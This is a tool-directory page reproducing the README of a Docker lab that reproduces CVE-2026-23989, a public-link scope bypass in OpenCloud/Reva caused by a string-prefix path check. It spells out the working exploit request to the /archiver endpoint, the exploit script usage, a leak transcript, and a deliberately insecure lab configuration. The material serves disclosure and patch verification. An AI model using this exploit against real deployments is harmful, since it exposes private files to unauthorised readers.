Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-23989-opencloud-lab — Reproduction lab (A/B Docker) for CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale public-link scope-validation bypass in Reva | Kitploit
Tools/GitHubGitHub/dinosn/cve-2026-23989-opencloud-lab
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdinosn/cve-2026-23989-opencloud-lab

cve-2026-23989-opencloud-lab

Reproduction lab (A/B Docker) for CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale public-link scope-validation bypass in Reva

View Repository
112h 18m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale public-link scope bypass

A self-contained, one-command lab that reproduces CVE-2026-23989 and proves it fixed, using the official upstream Docker images. A public share link that is supposed to grant access to one folder can be abused to read files outside that folder's scope.

CVECVE-2026-23989
AdvisoryGHSA-vf5j-r2hw-2hrw ("Public Link Exploit")
CVSS 3.18.2 High — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
ClassBroken access control — path-prefix confusion in scope validation
Root causeReva checkIfNestedResource used strings.HasPrefix for path containment
AffectedOpenCloud stable ≤ 4.0.2 (Reva ≤ v2.40.2), rolling ≤ 5.0.1 (Reva ≤ v2.42.1)
FixedOpenCloud 4.0.3 / 5.0.2 (Reva v2.40.3 / v2.42.3, PR opencloud-eu/reva#522)
Disclosed2026-02-05

Lineage — why this is an "ownCloud" bug

OpenCloud is a 2025 fork of ownCloud Infinite Scale (OCIS), created by former ownCloud engineers after Kiteworks acquired ownCloud. The flaw lives in Reva, the CS3 storage backend that OCIS/OpenCloud share, and — per the vendor advisory — "originated in the ownCloud (Kiteworks) codebase and was inherited when OpenCloud forked OCIS." OpenCloud is used here because it ships clean, pinned, public vulnerable and fixed images that make an exact A/B possible.


The bug in one line

internal/grpc/interceptors/auth/scope.go, function checkIfNestedResource — the gateway interceptor that decides whether a public-link token may touch a resource:

root@kitploit:~
// vulnerable (Reva ≤ 2.40.2 / ≤ 2.42.1)
return strings.HasPrefix(childPath, parentPath), nil

parentPath is the shared folder's path (the link's scope); childPath is the requested resource's path. String-prefixing is not path containment:

root@kitploit:~
parentPath = "/Shared"
childPath  = "/Shared-secret/flag.txt"          (a sibling, NOT a child)
strings.HasPrefix("/Shared-secret/flag.txt", "/Shared") == true   ← wrong: access granted

So a link scoped to /Shared also reaches any same-space resource whose path starts with the string /Shared — e.g. /Shared-secret, /Shared-2024, /Shared backup. The fix replaces the test with filepath.Rel and rejects any relative path beginning with .. (full patch in patch/reva-scope.go.patch).


How it is exploited — the archiver service

Every gateway operation carrying a public-link token passes through the buggy scope check, but the discoverers' primitive (and this lab's) is the archiver service at GET /archiver, authenticated for a public link with the public-token: header. It accepts a resource id (?id=<fileid>), walks it, and streams a zip. Point it at an out-of-scope prefix-sibling's id and the buggy check admits it:

root@kitploit:~
GET /archiver?id=<id-of-/Shared-secret>
public-token: <link token scoped to /Shared>
→ 200, zip of /Shared-secret   (on 4.0.2)
→ 404 "gateway could not find space for ref=…"   (on 4.0.3)

Precondition (stated honestly)

The attacker must supply the resource id of the out-of-scope target. That opaque id is a random UUID and is not enumerable through the public link itself (the link cannot list the owner's space — it returns 401). In OCIS, however, a resource's oc:fileid is exposed in nearly every WebDAV/graph response, share invitation, activity notification and web URL (/f/<id>), so any prior collaborator, ex-recipient of a different share, or internal user routinely holds it — which is why the vendor rated attack complexity Low. The lab's setup.sh obtains the id "as the victim" to hand to the attacker step, modelling that realistic prior knowledge. Path traversal (?path=../…) is not a viable substitute: those paths are resolved relative to the share and cleaned (404).

Blast radius

  • Reachable: same-space resources whose path string-prefixes the share path (the shared subtree itself, plus prefix-matching siblings).
  • Not reachable: the whole space in one shot — the space root's path is "/" and HasPrefix("/", "/Shared") is false (the lab confirms this: space-root archive → 404). Non-prefix siblings like /Private are denied on the vulnerable build too — the lab uses that as a control to prove the effect is specifically the prefix bug, not a blanket auth failure.

What's in this lab

FilePurpose
docker-compose.ymlOne OpenCloud container; OC_TAG selects vulnerable (4.0.2) or fixed (4.0.3).
setup.shSeeds the victim scenario in demo-user mary's space and creates a password-less public link on /Shared. Writes state.env.
exploit.shAttacker PoC. Given the link token + a target resource id, calls the archiver and prints any exfiltrated bytes.
verify.shOne-command A/B: reproduce on 4.0.2, confirm fixed on 4.0.3, print a PASS/FAIL matrix.
patch/reva-scope.go.patchThe exact upstream one-line fix, annotated.

Scenario planted in mary's personal space:

root@kitploit:~
/Shared/public-note.txt      ← shared via the public link      (in scope)
/Shared-secret/flag.txt      ← the PoC target; path prefixes "/Shared"  (out of scope)
/Private/topsecret.txt       ← control; non-prefix              (out of scope, stays denied)

Quick start

Requirements: Docker + Docker Compose, curl, python3. Pulls ~250 MB of images.

root@kitploit:~
./verify.sh

Expected output:

root@kitploit:~
== Exploit + controls against VULNERABLE 4.0.2 ==
   [PASS] in-scope /Shared (legit access) (expected leak)
   [PASS] PoC: out-of-scope /Shared-secret (expected leak)
   [PASS] non-prefix /Private (must stay denied) (expected deny)

== Exploit + control against FIXED 4.0.3 ==
   [PASS] in-scope /Shared (still works) (expected leak)
   [PASS] PoC: out-of-scope /Shared-secret (fixed) (expected deny)

== Verdict ==
   5 passed, 0 failed
   CVE-2026-23989 reproduced on 4.0.2 and confirmed fixed on 4.0.3.

Rolling-release pair instead of stable:

root@kitploit:~
VULN_TAG=5.0.1 FIXED_TAG=5.0.2 ./verify.sh

Manual walkthrough

root@kitploit:~
# 1. bring up the vulnerable build
OC_TAG=4.0.2 docker compose up -d

# 2. seed the victim scenario (creates the public link, writes state.env)
./setup.sh

# 3. attack: leak the out-of-scope sibling (reads target from state.env)
./exploit.sh                                   # defaults to the /Shared-secret id
./exploit.sh --target-id "$(. ./state.env; echo "$PRIVATE_ID")"   # control: denied

Real transcript against the vulnerable build (state.env values vary per run):

root@kitploit:~
===== EXPLOIT  /Shared-secret  (out-of-scope prefix sibling) =====
[*] Public link token: UVWPXGsjlLJRYxK   (scope: a single shared folder)
[*] HTTP 200,      365 bytes
      Shared-secret/flag.txt:
        FLAG{CVE-2026-23989_out-of-scope-sibling-leaked-via-HasPrefix-bug}
[+] LEAK CONFIRMED — out-of-scope file bytes exfiltrated via the public link.

===== CONTROL  /Private  (out-of-scope, non-prefix) =====
[*] HTTP 404,      249 bytes
[-] DENIED — server refused: error: not found: gateway could not find space for ref=…

Confirm the fix with the same data (same token and ids):

root@kitploit:~
OC_TAG=4.0.3 docker compose stop && OC_TAG=4.0.3 docker compose up -d
./exploit.sh          # now → HTTP 404, DENIED

Tear down:

root@kitploit:~
docker compose down -v

Remediation

  • Upgrade to OpenCloud 4.0.3 / 5.0.2 or later (Reva v2.40.3 / v2.42.3). For ownCloud Infinite Scale, update to a Reva build ≥ v2.40.3 / v2.42.3.
  • Cannot upgrade yet: disable public links — set GATEWAY_STORAGE_PUBLIC_LINK_ENDPOINT="" on the container. The vendor confirms this fully mitigates the issue (a public link then returns an error).

Lab configuration notes (why this is not production-safe)

docker-compose.yml deliberately weakens the instance so the PoC is scriptable: PROXY_ENABLE_BASIC_AUTH=true (so curl -u/public-token work without the OIDC dance), IDM_CREATE_DEMO_USERS=true (mary/demo etc. — public passwords), IDM_ADMIN_PASSWORD=admin, password-less public links, and a self-signed cert (curl -k). None of these are the vulnerability; they only make it observable in a shell. The bypass itself is independent of them.

References

  • GitHub advisory: https://github.com/opencloud-eu/opencloud/security/advisories/GHSA-vf5j-r2hw-2hrw
  • Vendor notice: https://opencloud.eu/en/news/opencloud-developers-find-vulnerability
  • Fix (Reva): https://github.com/opencloud-eu/reva/pull/522 — commit 8d52003
  • OSV: https://osv.dev/vulnerability/CVE-2026-23989
Download Tool